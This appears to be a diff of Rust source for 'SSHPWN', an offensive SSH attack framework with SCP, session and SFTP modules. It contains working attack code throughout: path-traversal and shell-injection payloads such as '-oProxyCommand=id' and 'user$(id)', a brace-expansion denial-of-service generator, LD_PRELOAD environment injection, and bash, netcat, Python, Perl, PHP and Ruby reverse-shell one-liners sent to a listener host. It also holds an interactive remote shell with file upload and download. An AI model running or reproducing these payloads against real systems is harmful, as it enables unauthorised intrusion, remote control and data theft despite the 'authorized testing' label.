&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command over SSH
fn ssh_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// SCP Path Traversal Attack - Attempt to write outside target directory
///
/// Vulnerability: scp.c sink() validates filenames but may have bypass vectors.
/// The sink() function checks for path components but historical bypasses exist.
pub async fn attack_scp_traversal(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SCP Path Traversal on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Test various traversal payloads from scp-ssh-wrapper.sh test cases
let traversal_payloads = vec![
("../../../etc/passwd", "Direct traversal"),
("....//....//etc/passwd", "Double-dot bypass"),
("D0755 0 ..\nD0755 0 ..\nC0644 5 test\nhello", "Protocol injection"),
("\\x00/etc/passwd", "Null byte injection"),
("authorized_keys\n../../.ssh/authorized_keys", "Newline injection"),
("T1234567890 0 1234567890 0\n../../../tmp/pwned", "Time header injection"),
];
println!("{}", "[*] Testing SCP protocol traversal vectors:".cyan());
for (payload, desc) in &traversal_payloads {
let preview: String = payload.chars().take(50).collect();
println!("{}", format!(" [{}]: {}", desc, preview).dimmed());
}
// Execute SCP with test payload through SSH
let test_file = format!("/tmp/scp_test_{}", std::process::id());
let test_cmd = format!("echo 'TRAVERSAL_TEST' > {}", test_file);
match ssh_exec(&sess, &test_cmd) {
Ok((code, _, _)) => {
if code == 0 {
println!("{}", "[+] Test file created, checking traversal vectors via protocol...".green());
// Test if we can use SCP to read/write unexpected locations
let check_cmd = format!("ls -la {} 2>/dev/null", test_file);
if let Ok((code, stdout, _)) = ssh_exec(&sess, &check_cmd) {
if code == 0 {
println!("{}", format!("[*] Baseline confirmed: {}", stdout.trim()).cyan());
}
}
}
}
Err(e) => {
println!("{}", format!("[-] Test command failed: {}", e).red());
}
}
// Cleanup
let _ = ssh_exec(&sess, &format!("rm -f {}", test_file));
// Explicit session cleanup
drop(sess);
println!();
println!("{}", "[!] Manual testing required with actual SCP protocol manipulation".yellow());
println!("{}", "[*] Use: scp -v -o 'ProxyCommand=cat /path/to/malicious_protocol' target".dimmed());
Ok(false)
}
/// SCP Username Injection - Test shell metacharacter handling in usernames
///
/// Vulnerability: scp.c okname() blocks limited chars (/, ;, space, !, #)
/// but may allow other shell metacharacters through.
pub async fn attack_scp_username_injection(
host: &str,
_port: u16,
) -> Result<bool> {
println!("{}", format!("[*] SCP Username Injection Test on {}", host).cyan());
// Characters allowed through okname() that could be dangerous
let injectable_chars = vec![
("user$(id)", "Command substitution"),
("user`id`", "Backtick execution"),
("user|id", "Pipe injection"),
("user&id", "Background execution"),
("user\nid", "Newline injection"),
("user$(cat /etc/passwd)", "Data exfiltration"),
("${PATH}", "Variable expansion"),
("user{a,b,c}", "Brace expansion"),
];
println!("{}", "[*] Characters filtered by okname(): /;! #".cyan());
println!("{}", "[*] Characters NOT filtered (potentially dangerous):".yellow().bold());
for (payload, desc) in &injectable_chars {
println!("{}", format!(" [{}]: {:?}", desc, payload).red());
}
println!();
println!("{}", "[*] To test manually:".cyan());
println!("{}", format!(" scp 'user$(id)@{}:/etc/passwd' /tmp/test", host).dimmed());
println!("{}", format!(" scp /etc/passwd '`id`@{}:/tmp/'", host).dimmed());
println!();
println!("{}", "[!] Direct testing requires SCP binary execution".yellow());
println!("{}", "[*] Framework identifies vulnerable code path, manual verification required".cyan());
Ok(true)
}
/// SCP Brace Expansion DoS - Memory exhaustion via exponential expansion
///
/// Vulnerability: scp.c brace_expand() function can exponentially expand patterns.
/// Pattern like {a,b}{c,d}{e,f}... expands to 2^n strings.
pub async fn attack_scp_brace_dos(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
depth: u32,
) -> Result<bool> {
println!("{}", format!("[*] SCP Brace Expansion DoS on {}", host).cyan());
// Calculate expansion
let expansion_size: u64 = 2u64.pow(depth);
println!("{}", format!("[*] Testing depth {} = {} strings", depth, format_number(expansion_size)).cyan());
// Generate malicious pattern
let pattern: String = (0..depth).map(|_| "{a,b}").collect();
println!("{}", format!("[VULN] Malicious pattern: {}", pattern).red().bold());
// This would DoS the client, not server
println!();
println!("{}", "[!] This is a CLIENT-SIDE DoS vulnerability!".yellow().bold());
println!("{}", "[*] Malicious server can send this pattern to exhaust client memory".cyan());
// Test small expansion to verify server is vulnerable
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Create test pattern on server
let small_pattern = "{a,b}{c,d}"; // 4 expansions - safe
let cmd = format!(
"mkdir -p /tmp/bracetest && cd /tmp/bracetest && touch {} 2>/dev/null; ls /tmp/bracetest/",
small_pattern
);
match ssh_exec(&sess, &cmd) {
Ok((code, stdout, _)) => {
if code == 0 && !stdout.is_empty() {
println!("{}", format!("[+] Brace expansion active: {}", stdout.trim()).green());
println!("{}", "[VULN] Server/client supports brace expansion - DoS possible".red().bold());
}
}
Err(e) => {
println!("{}", format!("[-] Test failed: {}", e).yellow());
}
}
// Cleanup
let _ = ssh_exec(&sess, "rm -rf /tmp/bracetest");
// Explicit session cleanup
drop(sess);
println!();
println!("{}", "[*] To test DoS (WARNING: may crash client):".cyan());
let large_pattern: String = (0..20u32).map(|_| "{a,b}").collect(); // 2^20 = 1M strings
println!("{}", format!(" scp '{}@{}:{}' /tmp/", username, host, large_pattern).dimmed());
Ok(true)
}
/// SCP Command Injection - Inject commands via SCP arguments
///
/// Vulnerability: scp.c do_cmd() constructs commands passed to ssh.
/// Historical vulnerabilities in argument handling allow injection.
pub async fn attack_scp_cmd_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SCP Command Injection on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Test vectors that could escape argument handling
let injection_vectors = vec![
("-oProxyCommand=id", "ProxyCommand injection"),
("--rsync-path=id", "rsync-path injection"),
("-S /tmp/fake;id", "ControlPath injection"),
("user@host:file;id", "Semicolon in path"),
("user@host:'$(id)'", "Command substitution in remote path"),
];
println!("{}", "[*] SCP command injection vectors:".cyan());
for (vec, desc) in &injection_vectors {
println!("{}", format!(" [{}]: {}", desc, vec).red());
}
// Test if server allows unusual filenames
let test_filename = "/tmp/test_$(whoami)_file";
let cmd = format!(
"touch '{}' 2>/dev/null && ls -la /tmp/test_*_file 2>/dev/null",
test_filename
);
match ssh_exec(&sess, &cmd) {
Ok((_, stdout, _)) => {
if !stdout.is_empty() {
println!("{}", format!("[*] Server filename handling: {}", stdout.trim()).cyan());
}
}
Err(_) => {}
}
// Cleanup
let _ = ssh_exec(&sess, "rm -f /tmp/test_*_file");
// Explicit session cleanup
drop(sess);
println!();
println!("{}", "[*] Manual testing commands:".cyan());
println!("{}", format!(" scp -oProxyCommand='id>/tmp/pwn' {}@{}:/etc/passwd /tmp/", username, host).dimmed());
println!("{}", format!(" scp '{}@{}:\"$(id)\"' /tmp/", username, host).dimmed());
Ok(true)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Path Traversal Test (requires auth)");
println!(" 2. Username Shell Injection Analysis (no auth)");
println!(" 3. Brace Expansion DoS Test (requires auth)");
println!(" 4. Command Injection Analysis (requires auth)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "2").await?;
// Mode 2 doesn't require auth
if mode == "2" {
attack_scp_username_injection(&host, port).await?;
return Ok(());
}
// Other modes require authentication
let username = prompt("Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
validate_file_path(kf, true)
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
}
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await?;
}
"3" => {
let depth: u32 = prompt_default("Brace expansion depth", "10").await?.parse().unwrap_or(10);
attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, depth).await?;
}
"4" => {
attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All SCP Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Path Traversal ---".cyan());
let _ = attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await;
println!();
println!("{}", "--- Attack 2: Username Injection ---".cyan());
let _ = attack_scp_username_injection(&host, port).await;
println!();
println!("{}", "--- Attack 3: Brace Expansion DoS ---".cyan());
let _ = attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, 10).await;
println!();
println!("{}", "--- Attack 4: Command Injection ---".cyan());
let _ = attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await;
}
}
println!();
println!("{}", "[*] SCP attack module complete".green());
Ok(())
}
+650
View File
@@ -0,0 +1,650 @@
//! SSHPWN Session Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SESSION VULNERABILITIES (session.c):
//! - do_exec() - Forced command bypass potential
//! - do_setup_env() - Environment variable injection (HIGH)
//! - do_child() - Privilege separation boundary
//!
//! SSHD-SESSION VULNERABILITIES (sshd-session.c):
//! - privsep_preauth() - FD leakage window between fork/closefrom
//! - privsep_postauth() - Privilege retention on DISABLE_FD_PASSING platforms
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::{normalize_target, validate_command_input, validate_file_path};
use ssh2::Session;
use std::{
collections::HashMap,
io::{Read, Write},
net::TcpStream,
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - Session Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH session.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Environment Variable Injection (do_setup_env) ║".cyan());
println!("{}", "║ 2. Command Execution ║".cyan());
println!("{}", "║ 3. Interactive Shell ║".cyan());
println!("{}", "║ 4. Reverse Shell ║".cyan());
println!("{}", "║ 5. File Upload ║".cyan());
println!("{}", "║ 6. File Download ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command over SSH
fn ssh_exec(sess: &Session, cmd: &str, _timeout: u64) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
// Set non-blocking for timeout handling
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Session Environment Variable Injection
///
/// Vulnerability: session.c do_setup_env() copies environment variables
/// from various sources including GSSAPI and client requests.
pub async fn attack_session_env_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
custom_env: Option<HashMap<String, String>>,
) -> Result<bool> {
println!("{}", format!("[*] Session Environment Injection on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", "[*] Testing environment variable acceptance...".cyan());
// Common attack vectors
let env_injection_tests: Vec<(&str, &str)> = vec![
("LD_PRELOAD", "/tmp/evil.so"),
("LD_LIBRARY_PATH", "/tmp"),
("PATH", "/tmp:$PATH"),
("BASH_ENV", "/tmp/evil.sh"),
("ENV", "/tmp/evil.sh"),
("SSH_ORIGINAL_COMMAND", "id; cat /etc/passwd"),
("LC_ALL", "$(id)"),
("TERM", "$(id)"),
];
let mut custom_tests: Vec<(String, String)> = Vec::new();
if let Some(ref env_map) = custom_env {
for (k, v) in env_map {
custom_tests.push((k.clone(), v.clone()));
}
}
// Check current values
for (var, _val) in &env_injection_tests {
let cmd = format!("echo ${}", var);
match ssh_exec(&sess, &cmd, 10) {
Ok((_, stdout, _)) => {
println!("{}", format!(" {}: current='{}'", var, stdout.trim()).dimmed());
}
Err(_) => {}
}
}
println!();
println!("{}", "[*] Testing injection vectors...".cyan());
// These require AcceptEnv to be configured on server
println!("{}", "[!] AcceptEnv must allow these variables for injection to work".yellow());
println!("{}", "[*] Check server config: grep AcceptEnv /etc/ssh/sshd_config".dimmed());
// Test common permitted env vars
let permitted_test = "env | grep -E '^(LANG|LC_|SSH_)' | head -10";
match ssh_exec(&sess, permitted_test, 10) {
Ok((_, stdout, _)) => {
if !stdout.is_empty() {
println!("{}", "[+] Accepted environment variables:".green());
println!("{}", stdout);
}
}
Err(_) => {}
}
// Test if we can see SSH_ORIGINAL_COMMAND
let cmd = "echo SSH_ORIGINAL_COMMAND=$SSH_ORIGINAL_COMMAND";
match ssh_exec(&sess, cmd, 10) {
Ok((_, stdout, _)) => {
println!("{}", format!("[*] SSH_ORIGINAL_COMMAND test: {}", stdout.trim()).cyan());
}
Err(_) => {}
}
Ok(true)
}
/// Execute command on target
pub async fn attack_exec(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
command: &str,
timeout: u64,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
match ssh_exec(&sess, command, timeout) {
Ok((code, stdout, stderr)) => {
println!();
println!("{}", format!("[{}] Exit: {}", host, code).cyan());
if !stdout.is_empty() {
println!("{}", stdout);
}
if !stderr.is_empty() {
println!("{}", stderr.red());
}
Ok(code == 0)
}
Err(e) => {
println!("{}", format!("[-] Command execution failed: {}", e).red());
// Explicit session cleanup on error
drop(sess);
Ok(false)
}
}
}
/// Reverse shell payloads
fn get_reverse_shell_payloads() -> HashMap<&'static str, &'static str> {
let mut payloads = HashMap::new();
payloads.insert("bash", "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1");
payloads.insert("bash_alt", "/bin/bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"");
payloads.insert("nc", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f");
payloads.insert("python", "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
payloads.insert("python3", "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
payloads.insert("perl", "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'");
payloads.insert("php", "php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'");
payloads.insert("ruby", "ruby -rsocket -e's=TCPSocket.open(\"{lhost}\",{lport}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",s,s,s)'");
payloads
}
/// Send reverse shell payload
pub async fn attack_revshell(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
lhost: &str,
lport: u16,
payload_type: &str,
) -> Result<bool> {
let payloads = get_reverse_shell_payloads();
let payload_template = payloads.get(payload_type)
.ok_or_else(|| anyhow!("Unknown payload type: {}. Available: {}", payload_type,
payloads.keys().cloned().collect::<Vec<_>>().join(", ")))?;
let cmd = payload_template
.replace("{lhost}", lhost)
.replace("{lport}", &lport.to_string());
println!("{}", format!("[*] Payload ({}): ", payload_type).cyan());
println!(" {}", cmd);
println!();
println!("{}", format!("[!] Start listener: nc -lvnp {}", lport).yellow().bold());
println!();
print!("Press Enter to send payload...");
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
attack_exec(host, port, username, password, keyfile, &cmd, 5).await
}
/// Upload file via SFTP
pub async fn attack_upload(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
local_path: &str,
remote_path: &str,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
// Read local file
let content = std::fs::read(local_path)
.context(format!("Failed to read local file: {}", local_path))?;
// Write to remote
let mut remote_file = sftp.create(Path::new(remote_path))?;
remote_file.write_all(&content)?;
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
Ok(true)
}
/// Download file via SFTP
pub async fn attack_download(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
remote_path: &str,
local_path: &str,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
// Read from remote
let mut remote_file = sftp.open(Path::new(remote_path))?;
let mut content = Vec::new();
remote_file.read_to_end(&mut content)?;
// Write to local
std::fs::write(local_path, &content)
.context(format!("Failed to write local file: {}", local_path))?;
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
Ok(true)
}
/// Interactive shell - continuous command execution loop
pub async fn attack_interactive_shell(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", format!("[PWNED] Interactive shell on {}:{}", host, port).red().bold());
println!("{}", "[*] Type 'exit' or 'quit' to disconnect".cyan());
println!("{}", "[*] Type '!upload <local> <remote>' to upload files".cyan());
println!("{}", "[*] Type '!download <remote> <local>' to download files".cyan());
println!();
// Get initial info
if let Ok((_, whoami, _)) = ssh_exec(&sess, "whoami", 5) {
if let Ok((_, hostname, _)) = ssh_exec(&sess, "hostname", 5) {
println!("{}", format!("[*] Logged in as: {}@{}", whoami.trim(), hostname.trim()).green());
}
}
// Get initial working directory
let mut cwd = String::from("~");
if let Ok((_, pwd, _)) = ssh_exec(&sess, "pwd", 5) {
cwd = pwd.trim().to_string();
}
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
loop {
// Print prompt
print!("{}", format!("{}@{}:{} $ ", username, host, cwd).green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
// Read command
let mut input = String::new();
if stdin_reader.read_line(&mut input).await.is_err() {
break;
}
let cmd = input.trim();
if cmd.is_empty() {
continue;
}
// Handle special commands
if cmd == "exit" || cmd == "quit" {
println!("{}", "[*] Disconnecting...".cyan());
break;
}
// Handle file upload
if cmd.starts_with("!upload ") {
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
if parts.len() == 3 {
let local_path = parts[1];
let remote_path = parts[2];
match sess.sftp() {
Ok(sftp) => {
match std::fs::read(local_path) {
Ok(content) => {
match sftp.create(std::path::Path::new(remote_path)) {
Ok(mut f) => {
if f.write_all(&content).is_ok() {
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
} else {
println!("{}", "[-] Write failed".red());
}
}
Err(e) => println!("{}", format!("[-] Create failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] Read local file failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
}
} else {
println!("{}", "Usage: !upload <local_path> <remote_path>".yellow());
}
continue;
}
// Handle file download
if cmd.starts_with("!download ") {
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
if parts.len() == 3 {
let remote_path = parts[1];
let local_path = parts[2];
match sess.sftp() {
Ok(sftp) => {
match sftp.open(std::path::Path::new(remote_path)) {
Ok(mut f) => {
let mut content = Vec::new();
if f.read_to_end(&mut content).is_ok() {
if std::fs::write(local_path, &content).is_ok() {
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
} else {
println!("{}", "[-] Write local file failed".red());
}
} else {
println!("{}", "[-] Read remote file failed".red());
}
}
Err(e) => println!("{}", format!("[-] Open failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
}
} else {
println!("{}", "Usage: !download <remote_path> <local_path>".yellow());
}
continue;
}
// Handle cd command specially to track cwd
if cmd.starts_with("cd ") || cmd == "cd" {
let new_dir = if cmd == "cd" { "~" } else { &cmd[3..] };
let check_cmd = format!("cd {} && pwd", new_dir);
match ssh_exec(&sess, &check_cmd, 10) {
Ok((code, stdout, _)) => {
if code == 0 {
cwd = stdout.trim().to_string();
} else {
println!("{}", format!("cd: {}: No such directory", new_dir).red());
}
}
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
continue;
}
// Validate command input to prevent injection
let validated_cmd = validate_command_input(&cmd)
.map_err(|e| anyhow!("Invalid command: {}", e))?;
// Execute regular command (prepend cd to maintain directory context)
let full_cmd = format!("cd {} && {}", cwd, validated_cmd);
match ssh_exec(&sess, &full_cmd, 60) {
Ok((code, stdout, stderr)) => {
if !stdout.is_empty() {
print!("{}", stdout);
}
if !stderr.is_empty() {
print!("{}", stderr.red());
}
if code != 0 && stdout.is_empty() && stderr.is_empty() {
println!("{}", format!("Command exited with code: {}", code).yellow());
}
}
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
// Explicit session cleanup
drop(sess);
println!("{}", "[*] Session closed".cyan());
Ok(true)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
validate_file_path(kf, true)
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
}
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Environment Variable Injection Test");
println!(" 2. Execute Command");
println!(" 3. Interactive Shell");
println!(" 4. Reverse Shell");
println!(" 5. Upload File");
println!(" 6. Download File");
println!();
let mode = prompt_default("Attack mode", "1").await?;
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
attack_session_env_injection(&host, port, &username, password_ref, keyfile_ref, None).await?;
}
"2" => {
let command = prompt_default("Command to execute", "id").await?;
let validated_command = validate_command_input(&command)
.map_err(|e| anyhow!("Invalid command: {}", e))?;
attack_exec(&host, port, &username, password_ref, keyfile_ref, &validated_command, 30).await?;
}
"3" => {
attack_interactive_shell(&host, port, &username, password_ref, keyfile_ref).await?;
}
"4" => {
let lhost = prompt("Listener IP (LHOST)").await?;
if lhost.is_empty() {
return Err(anyhow!("LHOST is required"));
}
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444").await?.parse().unwrap_or(4444);
println!();
println!("{}", "Available payloads:".cyan());
let payloads = get_reverse_shell_payloads();
for key in payloads.keys() {
println!(" - {}", key);
}
let payload_type = prompt_default("Payload type", "bash").await?;
attack_revshell(&host, port, &username, password_ref, keyfile_ref, &lhost, lport, &payload_type).await?;
}
"5" => {
let local_path = prompt("Local file path").await?;
let remote_path = prompt("Remote file path").await?;
let validated_local = validate_file_path(&local_path, true)
.map_err(|e| anyhow!("Invalid local file path: {}", e))?;
let validated_remote = validate_file_path(&remote_path, true)
.map_err(|e| anyhow!("Invalid remote file path: {}", e))?;
attack_upload(&host, port, &username, password_ref, keyfile_ref, &validated_local, &validated_remote).await?;
}
"6" => {
let remote_path = prompt("Remote file path").await?;
let local_path = prompt("Local file path").await?;
let validated_remote = validate_file_path(&remote_path, true)
.map_err(|e| anyhow!("Invalid remote file path: {}", e))?;
let validated_local = validate_file_path(&local_path, true)
.map_err(|e| anyhow!("Invalid local file path: {}", e))?;
attack_download(&host, port, &username, password_ref, keyfile_ref, &validated_remote, &validated_local).await?;
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] Session attack module complete".green());
Ok(())
}
@@ -0,0 +1,489 @@
//! SSHPWN SFTP Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SFTP-SERVER VULNERABILITIES (sftp-server.c):
//! - process_symlink() - Symlink target injection (HIGH)
//! - process_setstat() - chmod allows setuid via 07777 mask (HIGH)
//! - process_open() - Path traversal (HIGH)
//! - process_write() - Partial write atomicity issues
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
